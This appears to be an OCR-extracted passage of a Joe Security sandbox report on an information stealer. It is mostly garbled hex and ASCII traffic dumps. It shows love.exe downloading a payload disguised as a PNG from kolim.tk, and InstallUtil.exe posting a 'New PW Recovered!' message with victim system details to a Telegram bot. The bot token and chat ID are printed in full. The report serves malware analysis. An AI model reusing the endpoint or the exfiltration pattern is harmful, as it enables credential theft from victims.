bd fd d1 a7 75 44 ab ec f2 78 f2 91 e7 6f 1f 3b 01 70 8c 2c 7f 10 9b ff 5d 1c af 51 49 f6 ff 85 4b ad 43 aa f5 2f 7e a9 a2 c5
58 1d 09 7d 68 50 b1 88 70 eb 43 f3 9e 1b 25 b9 d5 d1 85 d5 61 5e 32 b0 ¢3 54 7d 67 a2 b8 40 75 98 94 ab c3 ac 47 ab
84 25 2d a4 85 ce d7 d6 68 7a ab 73 33 c5 34 6b 93 ac fc 34 81 d3 80 28 91 b5 42 33 3b Ob d7 74 1b a3 bc 3b f4 24 64
7c fe e3 3f 9e 38 65 2¢ 55 19 5b a7 9f cc db fa de 07 01 ff 5¢c cb a6 63 40 62 ac 85 6¢ 03 f1 81 b8 8c 59 ef 1b b3 96 f1 da
94 b2 da e0 e6 Of ae 5d 32 €9 92 73 f4 c8 76 2a 6¢ db

Data Ascii: [1)Df/A{w9X| BW7+(Qx'P4"1nxD"rR.uDxo;p,]QIKC/~X}hPpC%a2T}g@uG%-hzs34k4(B3;t;$d|?8e,U[\c
@blY]2sv*l

Data Raw: 5e eb f6 32 38 ¢7 61 aa 53 5f 58 50 43 Oc 14 12 cc b5 e7 d3 4e 39 90 4a 3d b6 32 62 al fc 70 9b 5a a4 Oe 60
fd 61 24 d6 8e 81 d9 8c e9 78 d3 9f 89 4d a3 da dd el 18 96 ff c4 69 31 99 af 31 3b 58 ab 98 29 06 e3 55 6e 41 ea 8f 6d
06 67 54 f8 el ca 5¢ 2d 52 41 a4 bb 3c 15 a4 6¢ 2b 45 b4 48 4a 15 a2 8d e7 f3 07 5¢ d6 84 75 11 8¢ 28 6e 23 cf el c7 5a
69 da 06 65 a8 09 7d ed 3f 03 2a 3b af 62 ab b4 f0 2b 8d d2 9d 58 11 2f 58 e3 ae 21 c6 db e3 Oc 5e 50 6f 71 ¢3 08 8f 38
0Of e3 e6 22 d1 91 88 33 58 d8 15 bb a6 dd b1 38 46 3a 94 68 fa 83 f6 77 d6 b4 a2 d4 88 70 66 27 7b 29 c7 dd a2 5d 6d
0d 08 14 90 Oa a9 c9 d6 84 89 67 32 8d 8b ff d6 6d 18 11 5¢c d9 ee 93 5f 72 b9 bf b5 26 73 ¢1 90 d5 6a ab da 43 5a 5d 63
ef 45 40 ¢3 51 ad 4e 8b b7 79 8f 71 Oe 30 3e ab f4 d1 5a 50

Data Ascii: #28aS_XPCN9J=2bpZ a$xMill;X)UnAmgT\-RA<I+EHJI\u(n#Zie}?*;b+X/X!"P0og8"3X8F:hwpf'{)]mg2m\_r
&sjCZ|cE@QNyq0>ZP

Data Raw: eb 05 fd 03 a7 98 69 1f 2e 4c c8 fe d6 3c 2c f2 05 e7 02 96 33 68 al 68 cc cc ec 95 96 52 Oa e8 f6 47 60 ce 91
el 24 2fd6 71 d5 cb 52 ca 98 13 al a2 02 87 e0 9a 4c 3c 33 59 11 e0 b7 d4 af a6 98 59 73 f0 77 6a 36 7a b9 76 61 c6 34
67 18 72 f7 377 99 e4 4b 82 3a d2 52 68 6e 67 bl 1e b3 7c 9a 0f a9 db a0 aa 89 27 91 e4 22 94 ec 11 e7 21 32 75 25 fb
44 8e ce 8a 41 f6 57 70 44 d7 41 5a ca 36 90 50 9c ef 22 99 fO 9b b5 fb Oc 2e 9e 04 50 33 5b 82 38 9e a4 d2 b3 c2 7f 20
17 3 69 c1 50 a0 44 49 47 9c a3 d3 d1 d0 63 17 17 41 ac d3 8f 06 ac 28 48 a9 6d 8b 69 75 ad 25 fd 66 4b 5e 56 6¢ Oe 35
5b f8 d8 cb 29 8c 79 a5 b6 e7 3d 69 b2 76 f4 d8 0f 61 f7 79 b9 ec c2 cf e8 88 cc 76 a7 dc 29 9d 84 c4 6f 5f ea 21 93 52 59
f1 e5 e8 8a d1 67 9f ef 79 ce f0 5f f9 5d 78 b7 71

Data Ascii: i.L<,3hhRG $/qRL<3YYswj6zvadgrwK:Rhng|"12u%DAWpDAZ6P".P3[8 iPDIGCA(HMiu%fKAVI5[)y=ivayv
)o_IRYgy_Jxq

Data Raw: b9 7 60 8f 7d ff 2e 7d 57 0d ab 45 52 f8 7f f5 41 f9 92 31 ca e4 12 12 63 e4 26 d0 49 d3 ab 10 bf Of 4e {7 70 b2
56 8b 16 cd €3 b3 20 80 66 76 58 fc 49 aa 77 57 27 52 6d ec 98 41 15 6b €9 be 4b 22 68 cf b3 1f c¢8 8c ef a0 b6 01 d3 1a
41399 39 64 d1 95 e0 a2 f7 c9 5b f1 fa 24 f4 93 94 57 4a 3d cd 36 53 3d 5f 90 56 2a 8d 8f a4 9f b1 55 e8 cd b9 a8 88 cd
3 b5 fa 58 b7 2f 44 49 13 52 14 c6 7b a6 0a 43 b7 b5 b3 77 ca 76 97 cl 1c e2 cf Of 7b 7f 7f 69 ac a4 72 e6 bc 52 9d 19 88
el 8e al 91 8b 20 ba 53 ed 9b b6 91 4f 98 20 74 dc 69 77 e7 70 95 f9 38 1f e0 11 b2 fb 76 72 58 22 f0 cf 19 7f 70 20 e7
da ef 97 87 b0 02 ce ae ef 2c db 98 27 6¢ 6b 7b 29 d1 a8 3b 8a c0 70 d7 a5 be da 8b 89 8f 91 Oc eb bf 3e 7a 1d 24 8b 52
f7 29 ee 21 04 ba 31 fe 17 a7 58 c6 €2 12 24

Data Ascii: "} JWERA1c&INpV fvXIwW'RmAKK"hA9d[$WJI=6S=_V*UX/DIR{CWV{irR SO tiwp8vrX"p ,1k{);p>z$R)!1X$

Data Raw: e3 46 14 8a 8a 72 be 07 c6 43 08 7a 4e al 23 00 1c ca 74 dd f3 d3 6b 7f 4f 4c ba 42 5a a2 12 df 3b 8e 97 d1
59 9a c2 42 33 cf f0 d6 35 71 5d 91 50 89 8e cd 43 7f db 2f 3e 3¢ 12 6a e3 ff b2 88 18 aa 5d 50 15 3d 7 24 d1 93 eb 9e
17 d7 94 80 ee 9b 36 a9 13 al 4b 26 d5 e3 52 7a bc da 9a 4a le b5 9¢ b4 63 ec d0 d9 dd 21 12 40 78 48 7a 4a 4d ae 41
93 fd 93 14 d5 1e 21 3b 7b 48 84 4d ac 52 ab fa f5 dd d5 dc ¢7 8d 7d 9b 56 4e ff dO 7f 8c 3c 26 d9 19 f9 84 al 84 d3 a3 c7
bb b0 c6 32 ad c2 c8 dc 76 9e af 04 86 7f cf f1 ab 32 de 50 06 5f 97 a2 42 73 66 0f d6 4b 59 b1 57 88 82 3b 25 ed fe 8f b2
32 06 c8 b6 bc 57 35 3b 16 6a 2d a3 bl 29 4f fc 2d 5f 29 el a2 b9 ed 8b 20 06 95 05 09 74 91 4f b0 f4 73 aa ee c9 7d e4
1 2e f0 40 f7 3e 59 21 3e 3e 85 fe 4d ae a9 2b ac 3b

Data Ascii: FrCzN#tkOLBZ;YB35q]PC/><j]P=$6K&RzJc! @xHzIMA!{HMR}VN<&2v2P_BsfKYW;%2W5;j-)O-_) tOs}.@>Y
I>>M+;

Data Raw: 20 3a 43 63 d5 6a be 16 d9 78 5b 78 d4 3d a7 53 7 8b 43 da a9 0d 1f ca 2d eb 14 b8 31 b6 c2 2b 31 eb 3f 46
b2 43 74 f4 3d b0 57 d1 c1 30 fO fO 11 ff 9b b1 69 7c 96 8b f5 44 c4 50 76 16 22 ae 7d 33 03 a6 1d 2b 12 e0 3a 56 Ob 6e
ef cf 9a 45 58 42 50 b5 e5 fd 73 76 a6 62 2f eb 41 e2 1a e2 2c a5 63 al b2 97 64 1e b9 57 2c de 9d ea 3e de 3d bb e8 4b
ee 31 00 d2 fd 37 75 3f 77 ff f9 f0 92 3b 78 bd 19 f5 7e d0 08 12 81 ca e8 d7 50 32 98 54 3b 5f 4¢ 55 6f 21 6d 4a e5 1c e0
44 ee d8 49 ca e2 83 7d 95 98 04 af 5d b5 bc 2d 7c 03 b4 11 53 f0 dc 98 18 2f 16 9d 63 14 f6 3a 84 df e7 bl e7 f1 e2 2e
05 09 23 65 86 fa 47 26 f7 80 bf 7b 36 2b 77 a0 00 37 26 b2 2a 02 3b 37 d1 58 2c b4 17 55 5f f1 b2 46 98 5a 53 09 e0 4c
b7 10 81 71 20 5c ae 80 b2 71 ca ba 29 79 ea 53 7b 9d

Data Ascii: :Ccjx[x=SC-1+1?FCt=W0i|DPVv"}3+:VNEXBPsvb/A,cdW,>=K17u?w;x~P2T;_LUo!'mJDI}]-|S/c: #eG&{6+
w7&*7X,U_FZSLq \q)yS{

Data Raw: df 87 87 4c 28 a0 75 c4 c9 bd Oe 33 65 d1 92 11 57 89 05 6e c0 d3 ce 91 59 3f a8 86 e5 33 f4 06 a6 9b 48 ff fc
10 66 cc af 02 8b 05 af 96 08 43 bc 69 0a 2a 74 99 44 c7 cb c1 ee 30 82 c1 c7 86 6a 46 c8 60 be 91 3e 4e 32 b7 44 c7 bb
f0 fd 1b 6f 2e cO ba 6a 59 a2 f1 7f eb 46 d3 cf c4 3¢ 2a 95 3b 30 19 ec cf 23 64 5b 11 d2 84 aa 92 f3 bc 7 ce 4e ea 97 af
8c 39 aa 67 d6 0d 64 b9 5¢ 93 46 2¢ 33 e0 97 1f cd c1 0d b6 55 58 94 43 74 be 7a 04 73 f6 35 9e 3c 25 fh ef 3¢ fb 40 a2
90 d1 ee 57 09 c9 3b 54 €0 92 fb 92 01 75 cd 1d 47 23 3d 77 8a 70 24 d4 10 bc 9b bb 08 48 82 b6 35 ca 77 9c 56 bd 82
b9 05 fa 9d 1c 48 63 2e 76 3f 5b 7e f8 1c e2 be 28 28 a5 b4 e3 e7 85 21 06 Oc a0 75 e5 66 05 5¢ Of e6 21 76 01 57 a6 23
b5 19 97 25 f3 ¢7 98 17 da Oc bl 5c 00 32 d4 42 47 df

Data Ascii: L(u3eWnY ?3HfCi*tDOjF >N2Do.jY F<*;0#d[N9gd\F,3UXCtzs5<%<@W; TuG#=wp$H5wVHc.v?[~((luflvW#%
\2BG

Data Raw: 80 87 c8 8a c0 bc 4d f9 dO ba 64 86 1c 45 8c 78 88 fa 2d 70 74 ec 1f 6e 9f 5d 2d 9d 28 f3 7e 16 1b ad 4b df 72
46 a6 09 c3 b9 9a 7c 37 a2 d6 09 8b 35 97 ed 42 5f 41 e5 08 Oc 48 a7 04 dd 4c d1 1f al 7a c9 61 ef 37 7f cc 7d de 8e 8f
43 e4 01 93 69 f3 28 a6 eb 98 68 50 ee bl 2c 60 4c d9 29 bb 1f 36 dc ca a9 54 95 79 d0 be 34 el c6 a2 00 8b 38 c5 04
4d 1f 9d 2b 7b e3 bc d7 Of 6f a4 de 93 82 ea cd 21 19 Of bc 94 ¢7 04 38 db 76 ab 65 c4 a7 20 c7 db b7 14 9a 83 5d 77 af
6C 99 c3 6e 72 19 ad 68 a4 d4 64 78 83 4a 3c 1f 62 64 87 8e 13 d3 74 a2 fe 4a b0 32 5d 01 4d da 3c 65 51 0f 05 6¢ f6 ad
1c bl 95 1c 62 0d 59 ce 44 5f 5a 35 44 33 f2 25 04 3e 08 6e 55 16 4c 08 ¢7 00 05 66 76 c2 d9 b5 Oe c2 0a 3a 74 88 29
7d c9 b4 8c 90 ed 01 25 8d Oa bb 0d 31 ee 9a ec 8f b8 9a 8f

Data Ascii: MdEX-ptn]-(~KrF|75B_AHLza7}Ci(hP, L)6Ty48M+{o!8ve JwinrhdxJ<bdtJ2]M<eQlbYD_Z5D3%>nULfv:t)}%1
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kBytes

Timestamp T Direction
2022-06-23 16:19:25 UTC 742 IN
2022-06-23 16:19:25 UTC 750 IN
2022-06-23 16:19:25 UTC 758 IN
2022-06-23 16:19:25 UTC 765 IN
2022-06-23 16:19:25 UTC 773 IN
2022-06-23 16:19:25 UTC 781 IN
2022-06-23 16:19:25 UTC 789 IN
2022-06-23 16:19:25 UTC 797 IN
Session ID Source IP Source Port
1 192.168.2.3 49771
Timestamp e Direction
transferred

Copyright Joe Security LLC 2022

Data

Data Raw: 5¢ 04 1c 98 6f d4 ec e2 c6 41 47 b8 fa 3a b2 cb 7b a8 f2 ff 21 ¢3 30 32 69 98 bd ba 46 58 1a 78 d9 ef 78 6f 27
85 ad 72 9c 03 04 cb 05 26 92 c5 77 ef 7f d1 82 c5 9d 95 69 2c 02 24 d1 2a 88 ad 96 19 53 49 17 d5 35 e8 e4 b8 c9 4b

8e 8a c0 48 9f 78 f6 7f 0a 33 ¢3 59 3d b8 3f 20 b0 2d al d3 95 c0 40 44 25 f4 40 9f e5 61 1a c3 53 fe 54 d7 7 06 67 4a
00 6f c9 44 2a c1 49 3a 50 78 2c el c8 ce 9f 56 6b ef 9c 32 e5 8f 1e 1a b9 c2 8551 e8 8b d9 35 65 ea 89 0Ob 66 ff b0 16 fa
ad 8a af 2a 93 9f 6e 1d 97 63 bb 5b 16 12 97 5f f2 cc 58 4d 22 16 b0 d4 ed 24 7b 41 f0 52 2b 58 a4 62 97 ad ff f4 6e 05 c6
3f 1d 6f 89 16 3b d5 fb 7e 2e 56 7c 6b 78 bd 25 c8 8b fe e2 f2 9f 67 03 b4 96 89 e7 4a 5e 62 6a 38 3a 96 3b 62 99 20 51
5d b5 21 9c 5f b0 d5 2d ac 1c 39 76 cc ae b7 f0 39

Data Ascii: \0AG:{!02iFXxx0'r&wi,$*SI5KHx3Y=? -@D%@aSTgJoD*|:Px,Vk2Q5ef*nc[_XM"${AR+Xbn?0;~.V|kx%gJ"bj8:;b
QJ'_-9v9

Data Raw: 98 f8 52 8d 84 ab 82 88 63 4d d6 62 69 9d d1 69 cc 3c 22 e0 5¢c 84 1c b7 18 3f e6 ed b2 13 ba ec c2 80 e8 29
bc 59 70 €9 71 dc 2b 18 6b 71 98 92 7b fe a3 fa 17 78 08 18 2d 6e f2 6e 33 d1 b4 09 a5 fb 31 7e cc 5a 7e 7f 55 ee 25 bf
4719 46 41 25 a5 9a 5e 45 ab 38 18 95 53 21 1e e7 81 e4 21 2a 1c a7 51 86 5e ec 5d e0 2 4e 6f c6 36 82 a8 77 28 c1 de
e536 0217 37 fa17 2d 90 0d c8 2d c2 1d 79 7e 11 87 63 61 b0 98 67 f7 1a f9 7d c9 cb 45 99 fc 76 c6 fd 46 Oa e0 98 ff 42
8e 49 76 00 bd 2f e5 fc 98 9c aa 94 18 4a a9 48 94 39 36 a2 3e 6¢ 7 4c 8e 3d 75 c0 df 5f dO 78 7e 41 dO fb 4b 48 8d 2b
€0 c6 cl 27 54 69 b5 a8 13 8a 85 d9 b8 9e e5 33 24 e7 44 34 a3 33 d6 8b 3 bc 3¢ 3f d2 3f 3f Ob €6 af a2 a3 66 56 Ob 08
50 ca el b7 af 92 e8 38 f8 6b fa a6 ca 68 c9 e7 61 cf

Data Ascii: ReMbii<"\?)Ypg+kg{x-nn31~Z~U%GFA%"E8S!*Q"|Nobw(67--y~cag}EVFBIV/JH96>IL=u_x~AKH+Ti3$D4
3<???fVP8kha

Data Raw: b6 12 8e 87 f2 54 5a 92 82 €9 53 1c 75 78 c5 €3 b9 d3 fb 5d 62 b7 27 f2 b4 2e 45 3f 74 b4 ee 46 90 f0 ce d6 ef
b3 al 7d 21 c1 6b f8 cd 88 64 dd ec 86 ca 08 e7 42 cc ac b7 3f 36 ff al 3d d3 8b 75 d4 9e Oc 2a 61 c4 a7 b6 a6 fa Ob a6
2b bf 47 70 8b 19 ee 4e 3f cd f8 3c 44 01 1d e7 c5 6a 49 fa 76 a6 b7 d4 43 96 7e b0 30 26 39 05 90 9e 45 72 47 67 al a2
7c f1 70 9e df 02 b7 28 43 3f 5¢ b4 21 45 ac 50 e4 e6 b3 af 9c Oe 2d 4f 10 3e 89 a5 ef 44 el f9 d3 74 cf bf 99 4e 2e 29 a8
5 2d 7c b8 db 46 10 34 b9 95 38 56 49 cb ea a9 d2 be 58 48 4a 49 eb 6b 01 c0 f3 Oc 00 59 18 97 b3 b0 e4 6c 6b ab 39
1c ba 23 a4 81 af 82 73 40 38 a7 0d a0 e0 77 94 ce f2 ae d2 ea 0d b3 7f 18 71 56 a0 69 af fe €8 80 b4 23 10 53 f0 76 96
80 ed d0 b5 d2 74 de cf 84 b9 cf 6d cO 55 Oc a3 99 5b

Data Ascii: TZSux]b'.E?tF}!kdB?6=u*a+GpN?<DjlvC~0&9ErGg|p(C?\!EP-O>DtN.)-|F48VIXHJIKYIk9#s@8wqVi#SvtmU[

Data Raw: 42 3c b0 06 cf 65 8e 93 18 98 ea 80 d6 00 c¢7 51 8d 7a 03 0a 07 38 99 99 3e 35 30 6b c2 78 1d cf 81 00 13 2d
5f 9e 92 22 Oc 3c 38 f8 14 b2 53 ee 42 ce ef 19 56 19 71 cd 49 b1l 48 cc f5 64 9a 1d a5 a9 1f 66 aa 9e 4c 6e 8¢ 18 21 e3
e8 ba 6¢ cc d0 9d 11 19 49 83 28 16 5e a3 47 7e 49 7c f1 d9 €8 5d 0a 7c 04 d5 71 02 88 69 30 63 95 25 b4 35 €9 09 52
61 50 42 25 02 9f 69 34 fd 4d e3 90 ac 48 fb €9 80 d7 25 ca 95 97 24 91 2f ac fd c4 f3 01 6a 22 8d d9 ef dO 19 aa 45 a7

11 9c 03 db 89 6 92 27 90 11 cf €9 26 c6 cf d8 1c 46 3d 3e 5b 9f 2¢ 25 59 af 4a 44 6a ab f6 €0 94 fc 99 d9 47 d7 c3 e6 68
64 0b 1b 51 99 30 5¢ 8e 03 22 5e 5d al 32 d2 0a 8d 37 18 5d 5e cf fb c0 09 7b 2b 92 a4 2a 8e f2 ef 3e 55 36 b9 a0 fc 76
9e c2 ¢3 27 01 23 14 2e 5e 2f 44 f1 9f 69 c3 8f 57 64 c4

Data Ascii: B<eQz8>50kx-_"<8SBVqIHdfLn!lI(*"G~I|]|qi0c%5RaPB%i4MH%$/]"E'&F=>[,%YJDjGhdQO\" 27| {+*>U
6v'#.//Diwd

Data Raw: 7d a0 af 2e 24 d9 60 46 c4 ae c6 36 04 cf 66 9d be 28 50 12 ae c¢5 32 ¢9 d2 bd d1 01 4d 96 91 09 9f 5a 5¢ 7c
31 0c ae 42 97 b1 32 06 1c 05 2d f3 fc 15 72 91 47 50 f1 bb a8 13 cf 78 d7 38 f0 €0 a5 2c 15 21 ca e3 be d3 d8 8b b5 88
56 Oe 5b 23 29 14 ac 9a 80 80 d1 aa bf 2a d3 74 al 4d 2e 9 f6 4e 8b 85 9a d4 fb ec 5¢ ff 84 ea db 1a 3d 23 25 38 85 14
d4 04 e2 2c 4b 64 55 00 b2 76 Of 4c cb 11 8a fa 7e af ee 77 09 1e 34 09 88 a0 41 52 3c Oe 76 8f bb ee 18 c8 f6 ed 50 6f
74 c0 03 bb 8b 91 4b 3f Oe d9 bd 95 b6 ed 3f d5 c5 de a6 8b 64 ac 99 0f 77 3f 75 61 90 97 76 26 74 98 64 5d 32 35 6e 64
65 5e 8a dO cb 3e 9e 25 eb 89 7 b3 c0 d0 6e 26 46 d2 1f 08 14 11 87 df 84 36 02 7e 1e f2 e7 76 3b de 90 5d 7a c5 04 95
40 ¢5 56 f2 55 1b b6 eb c8 b6 50 17 al 1c b6 95 1c c8 21

Data Ascii: }.$ F6f(P2MZ\|1B2-rGPx8,!V[#)*tM.N\=#%8,KdUvL~w4AR<vPotK??dw?uav&td]25nde”>%n&F6~Vv;]z@VUP!

Data Raw: 13 c2 b3 80 e4 5c e6 f8 c7 fb dd 66 f1 58 97 6e 65 b0 7a 9c 71 21 e df 96 79 ce dc 60 59 37 6e d4 el ae ee
ce 27 82 24 5f 71 5d 8e f5 f8 9e ca b4 74 fe ee f5 92 7e 7e 82 66 25 ad 9b dc 9f a8 e3 5d c6 4d 34 3d e6 c5 e8 db f6 60
23 dc 5e 3f 14 65 el da 5¢ ba b9 5d 79 b6 a4 39 18 12 3e 78 d2 2a 3c b6 ec dd 83 c2 89 bd 7d 1b 2f 25 9e e8 00 97 7 b4
84 8b e0 b9 e6 5a 93 fe 58 64 1f fe 25 07 96 cd 9b 08 40 61 31 25 81 37 06 ba cd 10 e2 5f 51 97 11 13 7d 26 66 3a 2d 2a
80 a7 31 15 7f 2c 80 14 e5 2f 65 78 4f f0 d6 36 bc 78 01 d6 fa 7f 23 61 34 bc ec 94 3a 5¢ 38 9c 8a 38 76 5a 83 54 e0 ee
17 a2 23 0b 21 €9 0d 94 65 9a c8 2f dd 29 d7 a8 a9 48 ad d1 90 f5 71 7a 26 17 98 a6 6b 2f b9 ba 48 c9 74 b1 c0 49 73 70
f2 a0 fd 3f 23 e5 0f 79 52 c8 6f ca 9b b6 8f 8f 30 60 a2

Data Ascii: \fXnezqly Y7n'$_q]t~~f%]M4="#"?e\ly9>x*<}/%ZXd%@al%7_Q}&f:-*1,/exO6x#ad:\88vZ T#!e/)Hqz&k/Htlsp?
#yRo0"

Data Raw: 23 ¢7 60 27 0b 2 30 32 d4 28 b9 d8 91 ff 8a a2 cb ce 85 00 25 2b f7 59 09 5a 5f 37 bb 3e c8 6a 6¢ ec 51 00 97
ed f7 34 7c 15 16 8d 1f f3 cd 1f 25 b7 4b b9 9c d9 70 4e 7e 4a f2 f8 54 cf ca c6 €7 b6 92 74 0d 7 72 e7 46 58 cf 70 67 c3
97 a4 b0 e2 08 ae 46 ab fa 5a 61 9a 51 24 b6 3b 21 17 28 da fe 3e ¢3 29 58 23 1b 79 e7 8a 6b fb €9 b0 1e 9a c7 85 c3 e3
81 c2 1d d0 ac 72 30 ba 62 93 38 5¢ ea 3b 55 22 cd b4 3f 1b 14 b8 28 07 72 05 35 e6 ca a7 64 36 b2 4c ea 64 2c 06 c8
be 70 18 be a8 9b 73 Ob 8e 42 69 5f 8b a8 b1 3e dd 38 9c f2 bc 13 53 dc fa 5b fd ba aa 80 a6 eb 98 85 72 c5 fe e0 c4 e5
43 d6 31 a8 38 e9 c4 7e 8f ba cd 9c dO 2f 2b c6 a7 55 4b 6e 68 4a 72 24 49 81 c6 cO b3 6a 6a e4 8e a2 16 db c1 bl 27 48
bb 18 eb 08 43 54 a5 f5 38 54 2d 9d c4 4a 2f 1d 68 ff

Data Ascii: #"'02(%+YZ_7>jIQ4|%KpN~JTtrEXpgFZaQs$;!(>)X#ykrobs\;U"2(r5d6Ld,psBi_>8S[rC18~/+UKnhJr$ljjHCT8T-
Jh

Data Raw: 9a 65 39 46 d7 d9 19 84 49 a0 07 17 7d 05 a8 d6 cf e2 70 5d cd d0 1c 02 2a 9a 90 31 5f 4d aa ea ed 31 60 90
99 f5 6e el 46 79 7c f9 8a ec 29 24 5a 52 cf 6a 26 83 a8 4e 13 e3 2f ¢7 64 b5 43 41 3f 58 0d 32 c3 e3 bb e2 2a da 16 d8
45 8e 04 bf 5e 1c f0 ad 99 38 c4 92 57 c8 8e f9 06 b8 2c f4 9b 8b cc 20 ¢3 61 d6 21 84 05 2c 10 ed 65 87 ee 48 Ob a6 ce
8a 6d 27 fa 84 d1 c4 24 08 5e fe 08 €8 a3 92 73 8a 0f 7 9b 92 3d 05 48 ab c0 a6 67 9f 52 80 3d c8 83 ee 53 7e c8 7f da
8a 5f b9 6¢ 20 b9 el 99 a3 4d Ob e5 3b 72 db 34 d9 71 00 d2 26 3b 9d Oc 2b 55 bd 5a ef a6 2a cd 2 36 8f 22 9 77 Ob 4a
39 b4 53 67 30 50 f5 2f 28 9e 6d 7b €9 14 38 3d 1e c4 04 ec 68 30 6d 4d 04 de 5d e4 f4 ce ec 75 82 4e be 07 21 5f 3a 82
02 85 38 a0 ef 69 b0 24 30 2c 99 26 96 Ob 17 8e 11 ad cf

Data Ascii: e9FI}p]*1_M1 nFy|)$ZRj&N/dCA?X2*E"8W, al,eHm'$"s=HgR=S~_| M;r4q&;+UZ*6"wJ9SgOP/(m{8=hOmM
JuN!_:8i$0,&

Destination IP Destination Process
Port
149.154.167.220 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\InstallUtil.exe

Data
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kBytes

Timestam
P transferred

2022-06-23 16:20:07 UTC 802

2022-06-23 16:20:07 UTC 803

2022-06-23 16:20:07 UTC 803

2022-06-23 16:20:07 UTC 804

Session ID Source IP
2 192.168.2.3
. kBytes
Ti t
imestamp transferred

2022-06-23 16:20:08 UTC 805

2022-06-23 16:20:08 UTC 805

2022-06-23 16:20:08 UTC 805

2022-06-23 16:20:08 UTC 813

2022-06-23 16:20:08 UTC 820

Copyright Joe Security LLC 2022

Direction

ouT

ouT

Source Port

49772

Direction

ouT

Data

POST /bot5310370668: AAEdB2nfvvFj53Yo0axJ-AleA2m93WUxxyM0/sendDocument HTTP/1.1
Content-Type: multipart/form-data; boundary=-------------------------—-| 8da55484400aac8

Host: api.telegram.org

Content-Length: 996

Expect: 100-continue

Connection: Keep-Alive

HTTP/1.1 100 Continue

Data Raw: 0d Oa 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35
353438 34 34 30 30 61 61 63 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64
61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d Oa 0d Oa 35 33 33 34 32 36 37 38 32 32 0d Oa 2d 2d 2d 2d
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 35 34 38 34 34 30 30 61 61 63
38 0d 0Oa 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d
22 63 61 70 74 69 6f 6e 22 0d Oa 0d Oa 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a Oa 55 73 65 72 20 4e 61
6d 65 3a 20 68 61 72 64 7a 2f 38 34 31 36 37 35 Oa 4f 53 46 75 6¢ 6¢

50SFull

HTTP/1.1 200 OK

Server: nginx/1.18.0

Date: Thu, 23 Jun 2022 16:20:07 GMT

Content-Type: application/json

Content-Length: 610

Connection: close

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Access-Control-Allow-Origin: *

Access-Control-Allow-Methods: GET, POST, OPTIONS

Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
"ok":true,"result":{"message_id":8938,"from":{"id":5310370668,"is_bot":true,"first_name":"Newboss","username"
"nwaeze_bot"},"chat":{"id":5334267822,"first_name":"Origin","last_name":"Server","type":"private"},"date":1656001207,"d
ocument":{"file_name":"user-841675 2022-06-23 06-43-29.html","mime_type":"text/html","file_id":"BQACAgQAAXKDAA
1i6mKOKrfAXINKGOHUh2_TJkHykyuAAKLDgAC8zyhUeG4Duc20jO0KQQ","file_unique_id":"AgADiw4AAVMBoVE","file_
size":426},"caption":"New PW Recovered!\n\nUser Name: user/841675\nOSFullName: Microsoft Windows 10 Pro\nCPU:
Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB"}}

Destination
Destination IP Process
Port

162.240.68.177 443 C:\Users\user\Desktop\love.exe

Data

GET /love_Wvkjhzse.png HTTP/1.1
Host: kolim.tk
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Thu, 23 Jun 2022 16:20:06 GMT

Server: Apache

Upgrade: h2,h2c

Connection: Upgrade, close

Last-Modified: Thu, 23 Jun 2022 12:12:53 GMT
Accept-Ranges: bytes

Content-Length: 821768

Content-Type: image/png

Data Raw: 48 b1 d6 5b 55 4e e7 4a 8b 1c 43 ef ed 65 59 ce €0 06 dd 7d 85 91 32 ec 41 c6 95 dc 9b d5 93 b4 cd b9 a8 88
cd f3 b5 fa cd b9 a8 88 cd f3 b5 fa cd b9 a8 88 cd 3 b5 fa 7d d8 b7 60 9f 42 77 5b 9c b5 d5 b9 63 bb 03 92 08 a7 50 60 b2
7aa2211de28007c7 b6 le 85 1b 74 d1 11 69 33 81 b1 d1 f6 7e bb e8 10 0d 8c 05 b8 f4 83 {7 85 15 a2 bl 6¢ a7 45 da
46 ad 39 8b 15 ae a4 ad 8e fb b9 69 9f d2 fe 70 7a 17 27 d1 41 d7 43 53 bf a9 f7 cf 60 9c 10 89 ab 39 0f e4 d1 41 6f c9 72
74 5598 d0 96 d7 01 91 5e 21 25 33 ef 9a 6a 15 ea ce 6a 88 9f f1 f9 03 cd 4f a9 32 96 bf c5 85 25 f7 d6 db b5 96 6 94 52
19 d6 db b5 96 f6 94 52 19 b9 bb 89 a0 80 ff e1 05 17 3c fe af 45 ac 16 fd 52 e6 fb a7 ba a3 f6 al 52 e6 fb a7 ba a3 f6 al
53 de a3 42 dc be 0a 83 cd b9 a8 88 cd 3 b5

Data Ascii: HHUNJCeY}2A} Bw[cP z!ti3~IEF9ipz'ACS 9A0rtUN%3jj02%RR<ERRSB

Data Raw: 36 45 51 ff 8b 04 20 ee 0f 4c 9a al 55 50 1b 78 €8 89 9a {8 68 fc 94 e3 1b 74 c4 3a ac 59 c6 2a c6 a7 47 4e 9c
dc e8 5a 06 94 76 56 5d 12 7a 1f 98 46 3a f5 30 f2 71 39 3 63 b0 fd eb de 09 29 e9 38 5d 30 8e 05 bb 30 b1 6d 10 4b 12
83 df f5 8c 3¢ 55 7e 66 b3 4e a8 f1 53 b0 6d ef c9 aa 6a 48 ef 58 6d 13 d9 ae a3 57 ef d2 e4 1d c4 b3 05 f3 9d 03 53 45 81
10 1f 8 4e 9c 8a b2 86 8a c9 07 7b 99 de 52 06 66 66 c2 80 bd 37 a9 e4 e6 83 b0 58 ea f4 89 08 b5 30 e2 6¢ be b6 57
